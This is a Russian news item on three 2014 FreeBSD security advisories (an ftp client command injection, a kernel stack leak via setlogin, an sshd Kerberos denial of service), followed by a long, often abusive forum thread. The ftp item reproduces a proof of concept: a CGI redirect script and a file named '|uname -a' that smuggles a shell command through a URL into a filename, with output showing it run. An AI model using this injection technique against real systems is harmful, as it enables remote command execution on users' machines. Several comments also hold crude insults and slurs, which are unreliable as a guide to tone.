Разработчики FreeBSD опубликовали серию уведомлений об устранении уязвимостей:
- "CVE-2014-8517 (https://lists.freebsd.org/pipermail/freebsd-announce/2014-No...)" - опасная уязвимость в клиенте ftp, которая может привести к выполнению кода при доступе к подконтрольному злоумышленнику серверу с использованием неинтерактивного режима работы утилиты ftp. При запросе с использованием URL утилита ftp поддерживает загрузку данных не только по FTP, но и по протоколу HTTP, в том числе обрабатывает операции перенаправления на другой URL. В случае если явно через опцию "-o" не указан путь к файлу для сохранения данных, осуществляется использование части пути из URL в качестве имени файла. Атакующий может организовать редирект на специально оформленный файл, который приведёт к выполнению заданной команды (например, на сервере можно создать файл с именем "|uname -a" и в ответ на запрос вернуть редирект на него "Location: http://site/|uname%20-a'"). Проблема проявляется во всех поддерживаемых выпусках FreeBSD. Аналогичная проблема устранена (http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-...) в ftp-клиенте NetBSD и возможно присутствует в других BSD-системах.
Техника атаки:<font color="#461b7e">
a20$ pwd
/var/www/cgi-bin
a20$ ls -l
total 4
-rwxr-xr-x 1 root wheel 159 Oct 14 02:02 redirect
-rwxr-xr-x 1 root wheel 178 Oct 14 01:54 |uname -a
a20$ cat redirect
#!/bin/sh
echo 'Status: 302 Found'
echo 'Content-Type: text/html'
echo 'Connection: keep-alive'
echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'
echo
a20$a20$ ftp http://localhost/cgi-bin/redirect
Trying ::1:80 ...
ftp: Can't connect to `::1:80': Connection refused
Trying 127.0.0.1:80 ...
Requesting http://localhost/cgi-bin/redirect
Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
Requesting http://192.168.2.19/cgi-bin/|uname%20-a
32 101.46 KiB/s
32 bytes retrieved in 00:00 (78.51 KiB/s)
NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
ADT 2014
Jared@Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
BOARD evbarm
a20$
</font>
- "CVE-2014-8476 (https://lists.freebsd.org/pipermail/freebsd-announce/2014-No...)" - утечка содержимого стека ядра FreeBSD через манипуляцию с системными вызовами setlogin(2) и getlogin(2). Проблема вызвана тем, что для логина в setlogin выделяется неочищенный буфер фиксированного размера, а getlogin возвращает полное содержимое этого буфера, а не только часть в которой содержится логин (т.е. можно прочитать хвост буфера за нулевым символом, в котором теоретически могут находиться до 16-32 байт с остатками важных данных).
- "CVE-2014-8475 (https://lists.freebsd.org/pipermail/freebsd-announce/2014-No...)" - проблема сборки sshd c поддержкой Kerberos 5 может привести к инициированию отказа в обслуживании (при обработке входящих запросов можно вызвать взаимную блокировку, которая некоторые время не позволит принимать новые соединения). Проблема проявляется только в ветках FreeBSD 9.x и 10.x.
Дополнительно сообщается (https://lists.freebsd.org/pipermail/freebsd-announce/2014-No...) об устранении не связанной с безопасностью ошибки, которая может привести к нарушению целостности кэша при доступе к ZFS-разделу поверх NFSv4.URL: https://lists.freebsd.org/pipermail/freebsd-announce/2014-No.../
Новость: https://www.opennet.ru/opennews/art.shtml?num=41004
Ждём мнения экспертов в комментариях.
Спасибо за доверие! Но тут нет однозначного мнения.
Не - не так же! Надо так:Я - дочь эксперта, тут не всё так однозначно ... :)
> Спасибо за доверие! Но тут нет однозначного мнения.В рядах шкoльников, еще вчера рассказывавших про Качественный Код (R) (C) (tm) случилось замешательство? Код оказался не таким уж и качественным? Бывают в жизни огорчения.
на https://www.linux.org.ru/news/security/10995438 , экспертируй ;)
> на https://www.linux.org.ru/news/security/10995438 , экспертируй ;)На лоре вообще какие-то ламаки остались. Ну ок, кучка отказов в обслуживании. При том половина из них делает хуже только самому атакующему, вызвав отказ его же виртуалки. Непорядок, конечно, но если некто ушатал свою же виртуалку - ему же хуже первым делом и будет.
> Ждём мнения экспертов в комментариях.Первая уязвимость, с ftp - это просто перепев Рабиновича с wget :-\
Как эксперт, полагаю, что ковырять бояздэ из цигвина, сидя на вантузе - очень модно и молодёжно.
Эксперты утверждают, что FreeBSD - дырявое помойное ведро.
Уроки логики у МарьИванны не надо было прогуливать, а то бы знал, что бездоказательные утверждения яйца выеденного не стоят.
> что бездоказательные утверждения яйца выеденного не стоят.А чего там доказывать? Достаточно посмотреть на то как попсовые убунты и даже слоупочные дебианы hardening процессов и ядра раньше сделали. В дебианобразных даже милый такой скриптец есть - запускаешь hardening-check <свежесобранный бинарь> и узнаешь насколько ты (не) лох...
User294, ты что ли, сукин ты сын?
> можно прочитать хвост буфера за нулевым символом, в котором теоретически могут находиться до 16-32 байт с остатками важных данныхАлгоритм Шлемиля в действии! Вспоминается фильм "13 этаж", где после окончания дороги, которую провёл Шлемиль, начинается нечто...
Нихера какие у тебя содомические ассоциации возникают от простого незнания адресной арифметики. На жабе поди "пишешь"?
Да не говори, мне вот IZen здесь напомнил пещерного человека, который впервые увидел молнию.
Вполне себе ассоциации. Представьте, что мы живём внутри виртуальной машины, которая осуществляет полную эмуляцию этого мира. В этой виртуальной машине вполне может существовать ошибка, которая в естественных условиях никак не проявляет себя. Но любопытные учёные могут создать условия, в которых эта ошибка проявляется. Далее через уязвимость в реализации виртуальной машины можно получить доступ к ресурсам, изначально недоступным изнутри. И вообще - выйти на более высокий уровень реальности.
> Вполне себе ассоциации. Представьте, что мы живём внутри виртуальной машины, которая осуществляет
> полную эмуляцию этого мира. В этой виртуальной машине вполне может существовать
> ошибка, которая в естественных условиях никак не проявляет себя. Но любопытные
> учёные могут создать условия, в которых эта ошибка проявляется. Далее через
> уязвимость в реализации виртуальной машины можно получить доступ к ресурсам, изначально
> недоступным изнутри. И вообще - выйти на более высокий уровень реальности.Курить меньше надо.
скучный ты.
> недоступным изнутри. И вообще - выйти на более высокий уровень реальности.Скорее получить по черепушке от обработчика исключений.
Таки обратите внимание на
Jared@Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
> Jared@Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIEПроверяют как работает кросс-компиляция NetBSD для ARM под Cygwin? Видимо работает.
Офигеть! Думается мне, что эта проверка слишком затяжная.
Есть вопрос, а почему не из под NetBSD?
Потому что netbsd неудобна на рабочей станции, очевидно. Вопрос в другом: почему из-под винды то?
> из-под винды то?Потому что не зря говорят что бсдшники - латентные проприетарщики. Вон изя с маздайкой. Хотя можно примеры и позабористее, типа кибаба с пид...ской операционкой.
Говорят с п..кой операционкой "линуксоедов" поболе будет. Некоторые так вообще внезапно "прозревают".
> Говорят с п..кой операционкой "линуксоедов" поболе будет. Некоторые так вообще внезапно
> "прозревают".Так какие же они тогда линуксоиды? Они пи...сы, а вовсе не... :)
> Так какие же они тогда линуксоиды? Они пи...сы, а вовсе не... :)О том и речь! Линуксоиды... До каминг аута.
> Есть вопрос, а почему не из под NetBSD?Да потому что Jared - не разработчик и не пользователь NetBSD как десктопной системы. Это-же очевидно! зачем ему такие сложности? Можно подумать что все разработчики линукс-бейзд коробочек за 50$ сидят под линуксом. Ага, ждите. У всех - семерочка.
>Ага, ждите. У всех - семерочка.Зачем им такие сложности?
>>Ага, ждите. У всех - семерочка.
> Зачем им такие сложности?Камрад, рекомендую вернуться к реальной жизни. Большинство из разработчиков эмбедовки не гики и им пофигу под чем сидеть, но поскольку семерку пихают везде и она является default OS на 90% десктопов, то и разрабатывают эмбедовку из под нее. Это же очевидно.
Любое большинство сидит под форточками. За исключением некоторых ниш, это очевидно. Не менее очевидно, что это не удобно и инструментарий там убогий. Поэтому вопрос зачем?
> Большинство из разработчиков эмбедовки не гикиНу а кто они? Этим невозможно заниматься, не любя свое дело до мозга костей :). А в винде сделали абсолютно все для того чтобы она стала максимально неудобна и враждебна к техническим специалистам.
Обязательные подписи с геморным оверрайдом. В линухе можно совсем не морочиться с подписями или подписывать все своим личным ключом, который в шаговой доступности. А в винде написание драйвера ядра - злостный кластерфак. I/O перекрыт а драйвер которые его разрешит - он подписанный бывает? А то им же и хааааааакиры могут систему взлаааааамать.
Libusb в линухе работает лучше чем где либо еще. Может послать в пень ядерный драйвер автоматически. В винде оно так не умеет. А для макоси порт вообще на отъ..сь сделан.
> и разрабатывают эмбедовку из под нее. Это же очевидно.
Разрабатывать что либо на основе линуха логичнее и проще всего в линухе. Еще проще и логичнее - пользоваться тем линухом которым умеешь, это сокращает уйму времени на разучивание разных танцев. Поэтому я из кубика и убунты/дебиана довольно быстро сделаю кастом делающий то что от него надо. А ядро там пересобрать или пакетов из дебиановских или убунтовых репов в иерархию будующей ОС - можно сделать между делом, парой команд. А в винде сие превратится в жуткий кластерфак.
> Libusb в линухе работает лучше чем где либо еще. Может послать в
> пень ядерный драйвер автоматически. В винде оно так не умеет. А
> для макоси порт вообще на отъ..сь сделан.А во FreeBSD?
> Разрабатывать что либо на основе линуха логичнее и проще всего в линухе.
Почему во FreeBSD не получается? Исходники же открыты!
> Еще проще и логичнее - пользоваться тем линухом которым умеешь, это
> сокращает уйму времени на разучивание разных танцев. Поэтому я из кубика
> и убунты/дебиана довольно быстро сделаю кастом делающий то что от него
> надо. А ядро там пересобрать или пакетов из дебиановских или убунтовых
> репов в иерархию будующей ОС - можно сделать между делом, парой
> команд. А в винде сие превратится в жуткий кластерфак.Я не понимаю механизма создания пакетов в Ubuntu/Debian — это какие-то космические технологии!!!
На FreeBSD я зашёл в каталог порта и дал команду "make package" и через некоторое время могу забрать пакет из каталога /usr/ports/packages/All/.
> А во FreeBSD?А там IIRC, "как обычно в бздах" - долбанулись и подорвались переписывать либу. Заменив ее на какой-то суррогат, единственным "достоинтством" которого было "зато под BSDшной лицензией!!11". Когда про это были новости - оно IIRC работало "не очень" и много чего не умело. Как оно сейчас - без понятия: я не планирую заниматься кастомным обменом данными по usb из фрибзды. ИМХО, кому интересно - тот и проверяет. Могу показать несколько софтин которые эту либу юзают, но компилять и проверять как работает - тебе придется самому. Ну и ясен пень для этого нужны железки. Некоторые из них относительно распостраненные. Но есть ли эти железки у лично тебя - отдельный вопрос, опять же.
>> Разрабатывать что либо на основе линуха логичнее и проще всего в линухе.
> Почему во FreeBSD не получается? Исходники же открыты!На самом базовом уровне - это проще. Потому что сами разработчики пользуются для разработки именно своей системой. А конфигурации "как у разработчиков" имеют магическое свойство: они работают и дают -10 к шансу наступить на баг который все портит. А в этой вашей фрибзде мне по дефолту сосватают чего доброго какой-нибудь там шланг. Которым линуксное ядро не пересобирается сходу. И часть пакетов. А мне нужны лишние проблемы?
Кроме того, хорошо разбираться в 1 системе проще чем в 2. Реюз знаний. Если я умею собирать линевое ядро - не так уж принципиально, будет ли это под х86-64 на десктопе или кросс на вон ту армовскую платку или вот этот мипсовый роутер. Процедура почти одинаковая. Некую "дельту" с спецификой платформы придется разумеется освоить. Но это не разучивание новой системы все-таки. С юзермодом сложнее: отличий больше. Но т.к. мысль получить на десктопнике и мипсовом роутере с флехой на 8 мегов одинаковый юзермод мне что-то не очень греет душу - это все-равно техническая неизбежность. Потому что меня на десктопе не порадует юзермод лезущий в 8Мб, а на девайсе с мелкой флехой стандартные кореутилсы попросту не втиснутся в такой объем флеша. А линь к тому же не предполагает что первосортный юзермод только один. Ядру пофиг. И это хорошо - не надо заниматься боданиями с концепциями типа базовых систем лишний раз. Системы бывают разные. И в 8 мегов не влезет та же система что и на десктоп/сервак. Значит, юзермод может быть разным. Это усложняет жизнь, но в ряде случаев является технической необходимостью.
> Я не понимаю механизма создания пакетов в Ubuntu/Debian — это какие-то космические
> технологии!!!Прикол в том что самому создавать пакеты во первых надо не так уж часто, а во вторых - если лень изучать это нормально - пакет можно "по бырому" скроить чекинсталлом, это может даже нуб. А так больше актуальны тулсы типа debootstrap, костылики типа fakeroot, и далее - умение пакетного менеджера использовать альтернативный корень и архитектуру. Что позволяет скроить иерархию "иностранной" системы несколько проще чем могло бы показаться. А дальше остается ее только заболванить в образ диска и положить туда бут и ядро в виде чтобы они смогли пнуть инит в этой иерархии. Дальнейшее по большому счету на совести майнтайнеров и вмешиваться в происходящее мне если и придется то довольно мало и по каким-то исключительным случаям. А так - космические технологии дают космические возможности. Ну ок, это надо не всегда. Когда не надо - есть например opkg. Простой и мелкий. Но и возможности у него сильно скромнее. Чудес не бывает. Так что только для совсем мелкой эмбедовки где несколько мегов флеша на все.
> На FreeBSD я зашёл в каталог порта и дал команду "make package"
> и через некоторое время могу забрать пакет из каталога /usr/ports/packages/All/.Угу, круто, а если у меня х86-64 хост а мне надо сформировать структуру будующей оси под ARMовскую платку? Это уже кросскомпил будет, однако. Далее - как мне образ ФС под линь из иерархии сделать? В лине можно например влобовую сделать файл нужного размера, прицепить его через loop-девайс, смонтировать эту ФС куда надо и просто скопировать туда иерархию. Т.к. кернель более-менее один и тот же - ну и ФСы поддерживаются те же самые. Для каких-то более специфичных вещей типа squashfs есть отдельные тулы, но монтирование то вообще одними голыми руками делается, а ядро на таргете - понимает те же фс что и ядро на хосте. Так что можно буквально голыми руками бутабельный образ скроить с каким-нибудь там ext4, если место не жмет. И нет, изя, фрибсдшный выбор между UFS и ZFS в этом месте ну совсем не в кассу. На ARMовской платке уместнее какой-нить ext4, f2fs, .... На особо мелких - squashfs.
>> А во FreeBSD?
> А там IIRC, "как обычно в бздах" - долбанулись и подорвались переписывать
> либу. Заменив ее на какой-то суррогат, единственным "достоинтством" которого было "зато
> под BSDшной лицензией!!11".% man libusb ()
...DESCRIPTION
The libusb library contains interfaces for directly managing a usb
device. The current implementation supports v1.0 of the libusb API.
...
SEE ALSO
libusb20(3), usb(4), usbconfig(8), usbdump(8)http://libusb.sourceforge.net/
HISTORY
libusb support first appeared in FreeBSD 8.0.https://www.freebsd.org/cgi/man.cgi?query=libusb&apropos=0&s...
>>> Разрабатывать что либо на основе линуха логичнее и проще всего в линухе.
>> Почему во FreeBSD не получается? Исходники же открыты!
> На самом базовом уровне - это проще. Потому что сами разработчики пользуются
> для разработки именно своей системой. А конфигурации "как у разработчиков" имеют
> магическое свойство: они работают и дают -10 к шансу наступить на
> баг который все портит. А в этой вашей фрибзде мне по
> дефолту сосватают чего доброго какой-нибудь там шланг. Которым линуксное ядро не
> пересобирается сходу. И часть пакетов. А мне нужны лишние проблемы?Понятно. Ты не хочешь заморачиваться c переносимостью. То есть твои софтины будут работать только под GNU/Linux.
> Кроме того, хорошо разбираться в 1 системе проще чем в 2. Реюз знаний.
Реюз знаний и обеспечивает "слой абстракций", к примеру та же libusb. Но развитие знаний в плане адаптаций к разным системам тебя не интересует по собственному определению.
>[оверквотинг удален]
> 8 мегов одинаковый юзермод мне что-то не очень греет душу -
> это все-равно техническая неизбежность. Потому что меня на десктопе не порадует
> юзермод лезущий в 8Мб, а на девайсе с мелкой флехой стандартные
> кореутилсы попросту не втиснутся в такой объем флеша. А линь к
> тому же не предполагает что первосортный юзермод только один. Ядру пофиг.
> И это хорошо - не надо заниматься боданиями с концепциями типа
> базовых систем лишний раз. Системы бывают разные. И в 8 мегов
> не влезет та же система что и на десктоп/сервак. Значит, юзермод
> может быть разным. Это усложняет жизнь, но в ряде случаев является
> технической необходимостью.См. nano-bsd: https://www.freebsd.org/doc/en/articles/nanobsd/howto.html
>[оверквотинг удален]
> вмешиваться в происходящее мне если и придется то довольно мало и
> по каким-то исключительным случаям. А так - космические технологии дают космические
> возможности. Ну ок, это надо не всегда. Когда не надо -
> есть например opkg. Простой и мелкий. Но и возможности у него
> сильно скромнее. Чудес не бывает. Так что только для совсем мелкой
> эмбедовки где несколько мегов флеша на все.
>> На FreeBSD я зашёл в каталог порта и дал команду "make package"
>> и через некоторое время могу забрать пакет из каталога /usr/ports/packages/All/.
> Угу, круто, а если у меня х86-64 хост а мне надо сформировать
> структуру будующей оси под ARMовскую платку? Это уже кросскомпил будет, однако.Пример кросс-компиляция порта Wine [386] на FreeBSD [amd64] и получение пакета, готового к развёртыванию (даже на самой FreeBSD [amd64] в режиме 32-битной совместимости): https://wiki.freebsd.org/i386-Wine#Building
Для портов, поддерживающих несколько архитектур, принцип кросс-компиляции и сборки надеюсь понятен? Сложно? Вовсе нет.> Далее - как мне образ ФС под линь из иерархии сделать?
> В лине можно например влобовую сделать файл нужного размера, прицепить его
> через loop-девайс, смонтировать эту ФС куда надо и просто скопировать туда
> иерархию.Можно подумать, что во FreeBSD это невозможно. ;)
http://www.syslinux.org/wiki/index.php/FreeBSD_disk_image_cr...> Т.к. кернель более-менее один и тот же - ну и
> ФСы поддерживаются те же самые. Для каких-то более специфичных вещей типа
> squashfs есть отдельные тулы, но монтирование то вообще одними голыми руками
> делается, а ядро на таргете - понимает те же фс что
> и ядро на хосте. Так что можно буквально голыми руками бутабельный
> образ скроить с каким-нибудь там ext4, если место не жмет. И
> нет, изя, фрибсдшный выбор между UFS и ZFS в этом месте
> ну совсем не в кассу. На ARMовской платке уместнее какой-нить ext4,
> f2fs, .... На особо мелких - squashfs.А чем плоха UFS2+SUJ на флешке? Вот чем?
% cd /usr/src/tools/tools/nanobsd
% sh nanobsd.sh
00:00:00 # NanoBSD image full build starting
00:00:00 ## Clean and create object directory (/usr/obj/nanobsd.full/)
00:00:00 ## Construct build make.conf (/usr/obj/nanobsd.full//make.conf.build)
00:00:00 ## run buildworld
00:00:00 ### log: /usr/obj/nanobsd.full//_.bw
00:48:23 ## build kernel (GENERIC)
00:48:23 ### log: /usr/obj/nanobsd.full//_.bk
00:56:42 ## Clean and create world directory (/usr/obj/nanobsd.full//_.w)
00:56:42 ## Construct install make.conf (/usr/obj/nanobsd.full//make.conf.install)
00:56:42 ## installworld
00:56:42 ### log: /usr/obj/nanobsd.full//_.iw
00:57:16 ## install /etc
00:57:16 ### log: /usr/obj/nanobsd.full//_.etc
00:57:17 ## configure nanobsd /etc
00:57:17 ## install kernel (GENERIC)
00:57:17 ### log: /usr/obj/nanobsd.full//_.ik
00:57:17 ## run customize scripts
00:57:17 ## configure nanobsd setup
00:57:17 ### log: /usr/obj/nanobsd.full//_.dl
00:57:21 ## run late customize scripts
00:57:21 ## build diskimage
00:57:21 ### log: /usr/obj/nanobsd.full//_.di
01:06:58 # NanoBSD image full completed
% cd /usr/obj/nanobsd.full
% ls
total 1461
drwxr-xr-x 3 root wheel 3B Nov 8 13:41 ../
-rw-r--r-- 1 root wheel 975B Nov 8 13:41 _.env
-rw-r--r-- 1 root wheel 4B Nov 8 13:41 make.conf.build
drwxr-xr-x 3 root wheel 3B Nov 8 13:41 usr/
drwxr-xr-x 3 root wheel 3B Nov 8 14:21 lib32/
-rw-r--r-- 1 root wheel 40M Nov 8 14:29 _.bw
-rw-r--r-- 1 root wheel 5.9M Nov 8 14:38 _.bk
-rw-r--r-- 1 root wheel 4B Nov 8 14:38 make.conf.install
-rw-r--r-- 1 root wheel 1.8M Nov 8 14:38 _.iw
-rw-r--r-- 1 root wheel 9.4K Nov 8 14:38 _.etc
-rw-r--r-- 1 root wheel 2.1K Nov 8 14:38 _.ik
-rw-r--r-- 1 root wheel 18B Nov 8 14:38 _.dl
drwxr-xr-x 18 root wheel 23B Nov 8 14:38 _.w/
-rw-r--r-- 1 root wheel 108B Nov 8 14:38 _.fdisk
drwxr-xr-x 2 root wheel 2B Nov 8 14:38 _.mnt/
-rw-r--r-- 1 root wheel 1.5M Nov 8 14:45 _.mtree
-rw-r--r-- 1 root wheel 25K Nov 8 14:45 _.du
-rw-r--r-- 1 root wheel 977M Nov 8 14:48 _.disk.full
drwxr-xr-x 6 root wheel 21B Nov 8 14:48 ./
-rw-r--r-- 1 root wheel 487M Nov 8 14:48 _.disk.image
-rw-r--r-- 1 root wheel 1.2M Nov 8 14:48 _.di
% dd if=_.disk.full of=/dev/da0 bs=64k
- UFS2 прежде всего плоха тем, что разваливается на каждый чих, sync может не произойти вовремя. И вообще, не факт, что бояздэшный недосервер включится после отключения питания.
- Может ZFS? У тебя в эмбеддовке найдётся 1ГБ ОЗУ, просто чтобы вращать з-пул?
> - UFS2 прежде всего плоха тем, что разваливается на каждый чих, sync
> может не произойти вовремя.Ты ничего не путаешь?
Линус Торвальдс выступил с критикой дизайна файловых систем: https://www.opennet.ru/opennews/art.shtml?num=20944> И вообще, не факт, что бояздэшный недосервер включится после отключения питания.
А ты попробуй выключатель попереключать.
> - Может ZFS? У тебя в эмбеддовке найдётся 1ГБ ОЗУ, просто чтобы вращать з-пул?
У ZFS конкретные требования. Причём тут она? Может я где-то её упомянул, а?
> Ты ничего не путаешь?
> Линус Торвальдс выступил с критикой дизайна файловых систем: https://www.opennet.ru/opennews/art.shtml?num=20944Тененбаум тоже многое критиковал, написал кучу книг и усрел физически, выйдя на пенсию.
>> И вообще, не факт, что бояздэшный недосервер включится после отключения питания.
> А ты попробуй выключатель попереключать.Пробовал, не понравилось. Это происходило на Линухах, вантузах и бздях. ext3/4 не сдохла ни разу, ntfs рассыпалась частично, но 1 раз вообще полностью, ufs2 дохла очень часто, при том, в большинстве случаев fsck не мог её восстановить. Чистая практика.
>> - Может ZFS? У тебя в эмбеддовке найдётся 1ГБ ОЗУ, просто чтобы вращать з-пул?
> У ZFS конкретные требования. Причём тут она? Может я где-то её упомянул,
> а?Да, это я упомянул, ведь в бзде вменяемых фс нет, а на безбабье и рыбу раком, как говориться.
> все разработчики линукс-бейзд коробочек за 50$ сидят под линуксом. Ага, ждите.
> У всех - семерочка.Так, глядя на куби прицепленный к компу с линухом: а зачем мне семерочка? Дебиан или убунту респинить на такую платку удобнее из такого же дебианобразного. И как десктоп оно покрывает все мои нужды. А использовать цыгвин можно только из чувства мазохизма. Или если объект фапа еще более гуняв чем это.
> Jared@Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIEТаки да, любитель putty.exe теперь не отмажется.
Раньше веселее было: с помощью ARP можно было читать по 480+ байт стёка ядра по сети.
Притом никакого SA не было, по тихому закрыли в начале до 240+символов чтение а потом и совсем :)
> стёкаWTF?
Изен узнал новое слово. LOL, just lol.
Wiki:
///---
Стек (англ. stack — стопка; читается стэк) — структура данных, представляющая собой список элементов, организованных по принципу LIFO (англ. last in — first out, «последним пришёл — первым вышел»).
---///Что такое "стёк"?
> Вот прочтёшь комментарии на OpenNet, и напрашивается вывод: адeпты Linux'а - 10-летние
> имбeцилы с тирeчика и нyльчaнчика.Казалось бы, при чем тут изен? Он вообще типичный бcднн. С максималочкой под подушкой^W^W на работе, как обычно :).
> Похоже, ты, Василёк по ту сторону монитора, только и можешь что в
> ЙOБУ с танчиками йoбашить.Довольно правдоподбное описание изена, но за что ему такой парад откровений выпал?
> А для этого тебе, разумеется, никакой РеактОС не нyжен
У изи нормальная максималка есть. Нафиг ему ваш реактос? Хотя если реактосовцы хотят себе такого крутого и компетентного эксперта - я могу только пожелать им удачи :).
> - спермёрочка-восьмёрочка для него самое то.
> А теперь кратко - ReactOS не для потреблюдов вроде тебя.Это такая попытка прорекламить изену реактос? Искренне надеюсь что реклама попадет в цель и вам в ваш гнилой прожект прибавится столь ценный кадр как изен. Он расскажет вам о том как правильно системы писать. Хоть нифига в этом и не понимает :).
> Раньше веселее было: с помощью ARP можно было читать по 480+ байт
> стёка ядра по сети.Ну подумаешь, полкило туда, полкило сюда...
А пруф то будет? А то лужа и так бурлит :)
изен/брин - залогиньтесь обратно )
По первой проблеме: кто вообще додумался использовать popen(outfilename, "w") для имен, начинающихся с "|"? А в патче теперь просто вставили проверку, чтобы это выполнялось только для имен, переданных в аргументе командной строки. Кому вообще понадобилась такая фича и зачем?Вторая проблема вообще уже задолбала. Ну не убьет вам memset(logname, 0, MAXLOGNAME) внутри setlogin() производительность, там всего-то 17 байт. Инициализируйте переменные, nuff said.
Ну а в третьей проблема в том, что Heimdal тянет pthreads, и если линкеру указать библиотеки в неправильном порядке, то pthreads затеняет в cstdlib не все что нужно. Аж подмывает предложить перейти им на продвинутую динамическую линковку, чтобы подобные ошибки превращались в "неправильный порядок библиотек в LD_PRELOAD может вызвать DoS". </sarcasm>